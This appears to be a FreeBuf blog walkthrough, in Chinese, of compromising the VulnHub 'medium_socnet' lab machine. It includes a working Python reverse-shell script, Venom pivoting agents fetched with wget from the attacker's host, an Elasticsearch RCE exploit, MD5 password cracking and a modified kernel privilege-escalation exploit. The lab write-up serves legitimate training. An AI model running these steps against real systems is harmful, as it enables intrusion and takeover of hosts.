freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

vulnhub靶场medium_socnet靶机渗透过程
2022-02-16 00:47:23
所属地 河南

vulnhub-medium_socnet靶机打靶过程

0x01主机发现

使用以下命令扫描靶机ip地址

arp-scan 192.168.26.0/24

图片.png

发现靶机IP是192.168.26.138,这里讲一下kali IP:192.168.26.20

0x02端口扫描、服务发现

先扫描靶机开放的端口及服务

nmap -sS -sV -T4 -A -p- 192.168.26.138

图片.png

0x03路径爬取

发现5000端口开放了一个web服务,访问后,测试了一波,没发现什么问题,于是进行路径的扫描

图片.png

发现一个admin的页面,访问后发现是一个代码测试页面于是我们可以尝试通过运行python的脚本来反弹shell

图片.png

0x04代码注入

nc -lvvp  #kali上监听4444端口

python代码执行反弹shell的脚本如下:

import socket,os,subprocess
RHOST='192.168.26.20'  # Change it
RPORT=4444  # Change it
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  # 创建一个TCP-socket对象
s.connect((RHOST,RPORT)) 	# 连接攻击者
os.dup2(s.fileno(),0)		# 复制链接符
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])  # 创建子进程调用SHELL

然后即可获取到shell,但是在根目录发现了dockerfile的文件,于是我们怀疑当前环境是docker容器环境,而不是真实的目标服务器环境

然后我们使用以下两条命令即可判断当前环境是否为docker环境、

图片.png

如果有如上图所示的结果显示,那么说明当前环境为docker环境而不是目标靶机的真实服务器环境,当我们遇到这种情况的时候,我们需要从docker环境中逃逸出来,才能对真正的目标服务器开展进一步的操作。此时我们需要把docker环境当作服务器的内网环境来处理。

我们通过查看当前容器的ip发现,该内网网段最多可以有65535台主机,我们可以尝试用ping命令来发现其他的主机

图片.png

0x05Shell脚本

for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done         #我这里仅仅扫描了一个c段的IP

图片.png

0x06内网信息收集、内网穿透

通过上面的shell脚本我们发现了 172.17.0.1 172.17.0.2 172.17.0.3 三台主机存活

因为我们需要对这些内网的主机进行一些操作,所以我们需要使用venom这个工具进行内网穿透,也就是打通kali到内网机器的路由,才能使用kali对这些内网机器进行相关操作。

首先我们可以先从github上下载编译好的release文件,解压后就可以直接使用链接如下:

https://github.com/Dliv3/Venom/releases/tag/v1.1.0

下载好之后我们先在kali上启动服务端

./admin_linux_64 -lport 9999  #启动服务端并监听本地的9999端口

图片.png

启动好服务端后我们可以在kali上使用python开启临时的http服务,然后在目标机器上通过wget命令将客户端下载到本地

wget http://192.168.26.20/agent_linux_x64
chmod +x agent_linux_x64        #赋权
./agent_linux_x64 -rhost 192.168.26.20 -rport 9999    #启动客户端

图片.png

图片.png

然后我们可以在kali的服务端看到成功获取到了一个会话,然后我们进入这个会话,然后开启一个socks代理

图片.png

开了socks代理后我们为了可以让kali上的所有工具都可以直接对目标内网机器进行操作,我们还需要修改proxychains这个工具的配置文件,打开这个配置文件后翻到文件的最后

vim /etc/proxychains.conf

修改前:

图片.png

修改后:

图片.png

以上这些操作完成后我们就可以使用kali上的工具通过挂proxychains来对目标内网机器进行扫描。

之前我们已经发现了内网有三台机器,所以现在我们可以使用nmap来对这些机器进行扫描

proxychains nmap -sV -sT 172.17.0.1

图片.png

我们发现172.17.0.1这台机器开放了22 和5000端口,与我们前面当时扫描的192.168.26.138那个机器开放的端口一样,所以我们猜测172.17.0.1这个IP就是192.168.26.138这个机器对应的内网IP地址,为了印证我们的猜测我们给浏览器配置好我们的socks代理然后我们通过浏览器来访问这个IP的5000端口

http://172.17.0.1:5000

图片.png

然后通过浏览器访问发现了我们当时访问192.168.26.138:5000端口时留下的测试数据,因此更加印证了我们的猜测。

图片.png

然后我们再对172.17.0.2机器进行端口和服务的探测

proxychains nmap  -sT -sV -Pn 172.17.0.2

图片.png

0x07漏洞利用

然后我们发现172.17.0.2机器上9200端口开放了elasticsearch服务,然后我们搜索相关的漏洞

searchsploit	elasticsearch

图片.png

我们发现了一个远程代码执行漏洞的py脚本,查看这个脚本后发现是以python2运行的,尝试运行

proxychains python 36337.py 172.17.0.2

运行上面的命令报错了,提示没有requests这个包,于是下载这个包

pip install -t /usr/lib/python2.7/dist-packages/  requests

然后再次运行这个脚本

proxychains python 36337.py 172.17.0.2

图片.png

0x08密码破解

然后在其根目录下发现一个密码文件,访问passwords文件后

图片.png

发现了账号和密码,只不过密码都是md5加密后的形式,我们可以复制这些值,然后去在线的md5解密网站来获取到明文密码

图片.png

这里推荐几个常用的md5解密网站:

https://www.cmd5.com/

https://www.somd5.com/

https://www.chamd5.com/

https://pmd5.com/

解密后挨个尝试登录,发现只有john用户可以登录,john的密码:1337hack

图片.png

0x09本地提权、攻击代码修改

我们发现成功登录到了john的账户上,然后同时我们发现这个服务器用的是非常古老的linux3.13版本,所以我们可以尝试利用内核漏洞提权

searchsploit Linux 3.13.0                                            #搜索该内核版本的漏洞
cp /usr/share/exploitdb/exploits/linux/local/37292.c  .              #将exp复制到当前目录便于操作

查看exp后发现需要用到gcc命令 但是在目标机器上执行gcc发现没有gcc命令,所以我们需要对exp进行一些修改。由于没有gcc命令,所以我想着可以在kali使用gcc编译好这个文件,然后把这个编译好的文件传到靶机上去执行。

但是我在37292.c文件看到这样一行代码,它使用system函数调用了gcc命令并且它会去找到这个ofs-lib.c这个库文件 并编译成对应的so文件。

图片.png

通过再次阅读37292.c这个文件发现在整个漏洞利用代码的执行过程中会再次调用这个so文件,所以我们需要连这个对应的so文件也上传到靶机上去才可以正常执行我们在kali上编译好的exp。所以思路有了开搞

首先我们需要将下图中两个方框之间的代码删掉。(下图是修改后的图)

图片.png

gcc -o exp 37292.c    #在kali上编译修改后37292.c脚本  并将编译好的文件命名为exp

我们再尝试直接去定位这个so文件的位置

locate ofs-lib.so  #定位这个so文件的位置
cp /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .    #将该文件复制到当前目录便于操作

图片.png

这里我们需要再次使用python开启临时的http服务然后在靶机上通过wget命令来将exp和这个so文件下载到靶机上来。

python3 -m http.server 80               #在kali上开启临时的http服务

wget http://192.168.26.20/exp           #在靶机上通过wget命令将exp文件下载到本地
wget http://192.168.26.20/ofs-lib.so    #在靶机上通过wget命令将so文件下载到本地

ls                                      #ls命令发现当前目录只有我们刚刚下载的exp文件和so文件
mv * /tmp/                              #将当前目录下的所有文件移动到tmp目录下
chmod +x exp                            #赋权
./exp                                   #执行

图片.png

我们发现成功提升到了root权限,到这里这台靶机就打完了。

0x10总结

在此简单总结下本次的打靶过程,我们首先是nmap扫描了靶机(192.168.26.138)开放的端口和服务,然后通过目录扫描发现了一个python代码测试的页面,于是我们执行python脚本反弹shell,获取到shell后发现是root权限但是不幸的是,这是一个docker容器环境,然后我们通过查看当前容器的ip,并编写了一个简单的shell脚本通过ping命令进行主机发现,然后通过配置proxychains、使用venom进行内网穿透,从而可以通过挂proxychains 来使用kali上的各种工具对目标内网机器进行操作,nmap扫描发现172.17.0.2的9200端口的elasticsearch服务,通过利用这个存在漏洞的低版本elasticsearch,成功获取到了root权限,然后在根目录下发现了一个密码文件,md5解密后尝试挨个进行ssh登录,成功登录john用户,发现该用户是普通用户,登录成功后我们看到该服务器是一个3.13的低版本内核,尝试搜索该内核版本的提权漏洞,发现了漏洞利用脚本,但是遇到问题靶机不能运行gcc命令,于是尝试阅读并修改了提权脚本,最终提权成功,获取到了root权限。

# 本地提权 # 渗透测试学习 # 内网穿透 # VulnHub # 内网横向
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录